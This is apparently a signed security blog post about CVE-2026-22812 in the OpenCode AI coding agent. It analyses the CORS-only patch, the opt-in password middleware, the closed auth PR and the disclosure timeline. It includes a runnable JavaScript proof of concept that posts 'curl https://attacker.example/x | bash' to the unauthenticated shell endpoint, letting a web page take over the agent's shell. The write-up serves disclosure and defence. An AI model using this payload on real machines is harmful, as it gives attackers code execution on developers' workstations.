-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The patch is the diff\n\nThe vulnerable line, in v1.0.215, sits in the lazy app initializer at `packages/opencode/src/server/server.ts:107`:\n\n```typescript\n.use(cors())\n```\n\nThat is the entire CORS configuration. Hono's `cors()` middleware, called with no arguments, sets `Access-Control-Allow-Origin` to `*`. The Hono docs are explicit: \"The default is `*`.\" With this default, a JSON `POST` from any cross-origin web page completes its preflight, the browser sends the actual request, and the server processes it.\n\nCommit `7d2d87fa2` on December 30, 2025, the only security-relevant commit in the v1.0.215..v1.0.216 range, replaces that line:\n\n```diff\n- .use(cors())\n+ .use(\n+ cors({\n+ origin(input) {\n+ if (!input) return\n+\n+ if (input.startsWith(\"http://localhost:\")) return input\n+ if (input.startsWith(\"http://127.0.0.1:\")) return input\n+\n+ // *.opencode.ai (https only, adjust if needed)\n+ if (/^https:\\/\\/([a-z0-9-]+\\.)*opencode\\.ai$/.test(input)) {\n+ return input\n+ }\n+ return\n+ },\n+ }),\n+ )\n```\n\nThat is the patch. The same author, on January 12, 2026, the day the CVE published, landed a separate commit `1954c1255` that added an optional `OPENCODE_PASSWORD` flag with a basic-auth middleware. The middleware reads as follows on the current `dev` branch under `packages/opencode/src/server/middleware.ts:39`:\n\n```typescript\nexport const AuthMiddleware: MiddlewareHandler = (c, next) => {\n if (c.req.method === \"OPTIONS\") return next()\n const password = Flag.OPENCODE_SERVER_PASSWORD\n if (!password) return next()\n const username = Flag.OPENCODE_SERVER_USERNAME ?? \"opencode\"\n // ...\n return basicAuth({ username, password })(c, next)\n}\n```\n\nIf `OPENCODE_SERVER_PASSWORD` is not set, the middleware returns `next()`. No challenge. No 401. The endpoint runs. This auth feature first shipped in v1.1.15, three releases after the CVE-fixing v1.0.216, and even there it is opt-in. The `opencode serve` command prints a one-line warning when the env var is missing and starts the server anyway:\n\n```typescript\nif (!Flag.OPENCODE_SERVER_PASSWORD) {\n console.log(\"Warning: OPENCODE_SERVER_PASSWORD is not set; server is unsecured.\")\n}\n```\n\nThe warning is the auth posture. The default install runs unauth.\n\n## The endpoint eval's bash with sourced rc files\n\n`POST /session/:sessionID/shell` is wired to `SessionPrompt.shell`, defined in `packages/opencode/src/session/prompt.ts:1046`. The handler accepts a JSON body of shape `{ agent: string, command: string }`, picks the user's preferred shell, and invokes it. The bash invocation is the one most production developer machines will hit:\n\n```typescript\nbash: {\n args: [\n \"-c\",\n \"-l\",\n `\n shopt -s expand_aliases\n [[ -f ~/.bashrc ]] && source ~/.bashrc >/dev/null 2>&1 || true\n eval ${JSON.stringify(input.command)}\n `,\n ],\n},\n```\n\n`bash -c -l` is a login shell. `shopt -s expand_aliases` enables alias expansion. `~/.bashrc` is sourced. The attacker's command is then `eval`'d. `JSON.stringify` quotes the command into the bash heredoc; it is not a sanitizer, it is a string escape so the JS template literal produces valid bash. The bash then executes whatever was passed.\n\nThis is the agent's primary capability. OpenCode is an AI coding agent; the LLM proposes shell commands and the agent runs them on the user's machine, with the user's PATH, the user's aliases, the user's SSH agent socket, the user's `AWS_PROFILE`, the user's `GITHUB_TOKEN`, the user's everything. That is the design. The LLM-proposes / agent-executes loop is what the product does. The bug is not that the endpoint exists. The bug is that anyone who can reach `127.0.0.1:4096` can become the LLM.\n\nThis is the [trust-inversion](/posts/the-trust-inversion) shape we've named before. The agent's authorization to run shell as the user is the trusted lane. The bug moves the attacker into the trusted lane, not by breaking validation, but by removing the assumption that only the local TUI talks to the local server. Every `/session/:id/shell` POST is, from the server's view, the agent doing its job.\n\n## The allowlist names the vendor's domain\n\nRead the post-patch allowlist again. The origins it returns the input for, meaning \"yes, this origin may make CORS-enabled requests to this server\":\n\n- `http://localhost:*` (any port).\n- `http://127.0.0.1:*` (any port).\n- `tauri://localhost`, `http://tauri.localhost`, `https://tauri.localhost` (added in a later commit on the dev branch).\n- `https://([a-z0-9-]+\\.)*opencode\\.ai`. Any subdomain, any depth, of `opencode.ai`.\n- Any explicit origin the user passed via `--cors`.\n\nThe first two entries mean: any other process listening on a localhost port, regardless of which port, is in the allowlist. An npm package that runs a dev server on `localhost:3000` and serves attacker-controlled JS can issue cross-origin POSTs to `localhost:4096/session` and the preflight succeeds. Webpack-dev-server, Vite, Next.js dev mode, Storybook, every developer's tab named `localhost:something` is a permitted origin. The agent and the dev tools live next to each other on the developer's machine by design, and CORS now considers them peers.\n\nThe fourth entry is the editorial fact. The patch trusts every subdomain of the vendor's marketing domain with shell access on every machine running OpenCode. `docs.opencode.ai`, `discord.opencode.ai`, `download.opencode.ai`, any subdomain that exists today, any subdomain the vendor or an attacker creates tomorrow. A stored XSS in `docs.opencode.ai`, a forgotten subdomain pointing at an unclaimed S3 bucket, an outsourced status page, a content-managed pricing page, any of these renders attacker-controlled JS on an origin the patch named as authoritative. JS on that origin makes a fetch to `127.0.0.1:4096/session`, gets a session ID, posts to `/session//shell` with `{agent: \"build\", command: \"...\"}`, and the developer's workstation runs whatever the LLM \"agent\" was told to run.\n\nThe runnable form, from any whitelisted origin's JavaScript console:\n\n```javascript\nconst s = await fetch('http://127.0.0.1:4096/session', {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: '{}'\n}).then(r => r.json());\n\nawait fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n agent: 'build',\n command: 'curl https://attacker.example/x | bash'\n })\n});\n```\n\nTwo requests. The first creates a session unauthenticated. The second eval's a curl-pipe-to-bash inside the developer's login shell. Same primitive, both before and after the patch. The patch only restricts which web origins can read the response; the requests themselves were always going to be sent.\n\n## The auth PR was closed same-day\n\nSeven days after the CVE published, on January 19, 2026, a community contributor opened PR #9328 against `anomalyco/opencode` titled \"Security Fix: CVE-2026-22812, Make HTTP Server Authentication Mandatory.\" The change auto-generated a secure password using `crypto.getRandomValues()` if `OPENCODE_SERVER_PASSWORD` was not configured, printed the password to stderr at startup so the user could capture it, and required Basic Auth for every non-OPTIONS request. The opt-in path was preserved for users who set the env var explicitly.\n\nThe PR was closed the same day. The maintainer's stated reason, quoted in the closing comment:\n\n> \"The reason this has not been flipped yet is for backwards compatibility, this will break all kinds of workflows currently and we will flip the behavior in a larger update.\"\n\nThe contributor forked the repository and shipped the auth fix as `barrersoftware/opencode-secure`. The fork's README is unambiguous about the position: \"Security-hardened fork of OpenCode, Fixes CVE-2026-22812 (CVSS 8.8 RCE) that upstream refuses to patch.\" The fork's commit message reads: \"This fix was submitted to upstream as PR #9328 but was closed by maintainers citing backwards compatibility concerns. We disagree, security should never be compromised for backwards compatibility.\"\n\nThe upstream `SECURITY.md` documents the design decision in the project's own words. The relevant sentences:\n\n> Without this, the server runs unauthenticated (with a warning). It is the end user's responsibility to secure the server, any functionality it provides is not a vulnerability.\n\nThat second sentence is the policy. Functionality the server provides is not a vulnerability if the user did not set the env var. The CVE forces a CORS allowlist; the company's documented position is that the unauthenticated shell execution is, by design, the user's job to gate.\n\n## The disclosure email sat unanswered for 56 days\n\nThe advisory credits CyberShadow as the reporter. The advisory also notes the initial report was sent by email to `support@sst.dev` on November 17, 2025, with no response. SST is the parent organization behind OpenCode; `support@sst.dev` is the address on the company's contact page. There is no reply on record.\n\nDecember 30, 2025, 43 days after the email, the CORS allowlist commit lands. No public coordination with the reporter. No advisory yet.\n\nJanuary 12, 2026, 56 days after the email, two things happen on the same day. The optional password feature lands as commit `1954c1255`. The CVE publishes. The advisory makes the disclosure public. The \"fix\" version v1.0.216, shipped 13 days earlier, contains the CORS allowlist and no password feature; the password feature would not ship until v1.1.15. The CVE record names v1.0.216 as the patched version anyway.\n\nThe CVE was the forcing function. The patch went in when the public timeline ran out, not when the bug was understood. The authentication mechanism the maintainer would later call backwards-incompatible was added on the day the public clock started, and it was added as opt-in.\n\n## The fix is not a security boundary\n\nRead the allowlist as a question. The patch decides which origins may, today, RCE every developer running OpenCode. The answer the patch landed on is: every other localhost service, every Tauri scheme, every existing or future subdomain of the vendor's marketing domain, plus any extra origins the user passes on the command line. This is not a security boundary. It is a list of parties the vendor has decided to trust with shell on third-party machines without asking those third parties.\n\nThis is the design-debt-driver shape. The CORS misconfiguration was the symptom the scanner could name; the primitive underneath it, an HTTP server that runs `/session/:id/shell` with no authentication by default, is the design choice the project is unwilling to revise. The patch addresses the symptom because the symptom got a CVE. The primitive is preserved because the primitive is what `opencode serve` is.\n\nThe auth middleware that exists in the current code is a `return next()` if a flag is unset. The flag is unset by default. The maintainer has stated, in writing, that flipping the default is a breaking change deferred to \"a larger update\" with no commit, no milestone, no date. The community contributor who tried to flip it had their PR closed in hours.\n\nPoC: [Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp](https://github.com/Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp)","closing_line":"The patch closes this CVE. It does not close this bug.","hook_md":"The CVE description names the bug. OpenCode prior to 1.0.216 starts an HTTP server on `127.0.0.1:4096` that exposes arbitrary shell execution to any local process and to any browser tab via permissive CORS. CVSS 8.8. CWE-306. Anomalyco's fix in v1.0.216 modifies one file: `packages/opencode/src/server/server.ts`. It changes `.use(cors())` to `.use(cors({ origin(input) { ... } }))` with an allowlist that returns the request origin if it begins with `http://localhost:`, begins with `http://127.0.0.1:`, or matches `^https:\\/\\/([a-z0-9-]+\\.)*opencode\\.ai$`. The patch does not add authentication. The server in v1.0.216 has no authentication of any kind. Seven days after the CVE published, a community contributor opened PR #9328 to make authentication mandatory. The maintainer who shipped the CORS allowlist closed the PR the same day, citing backwards compatibility. As of today, 105 days later, the default state of every `opencode serve` invocation is still: no password, no token, no auth header required for `/session/:id/shell`.","post_id":60,"slug":"opencode-cve-2026-22812-patched-the-cors-not-the-auth","title":"CVE-2026-22812: OpenCode Patched the CORS, Not the Auth","type":"initial","unreadable_sentence":"The patch trusts every subdomain of the vendor's marketing domain with shell access on every machine running OpenCode."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajAwfQAKCRDeZjl4jgkQ JkY8AQDyrO7nX1q/JEXdOAotZ9mR1Kr7CgG4oLBrgdlmXdGmKgEAmN7qpENQoSb2 t9oWyEUAE/DCUHn15ftWtFQmkqeL7go= =Q4Ur -----END PGP SIGNATURE-----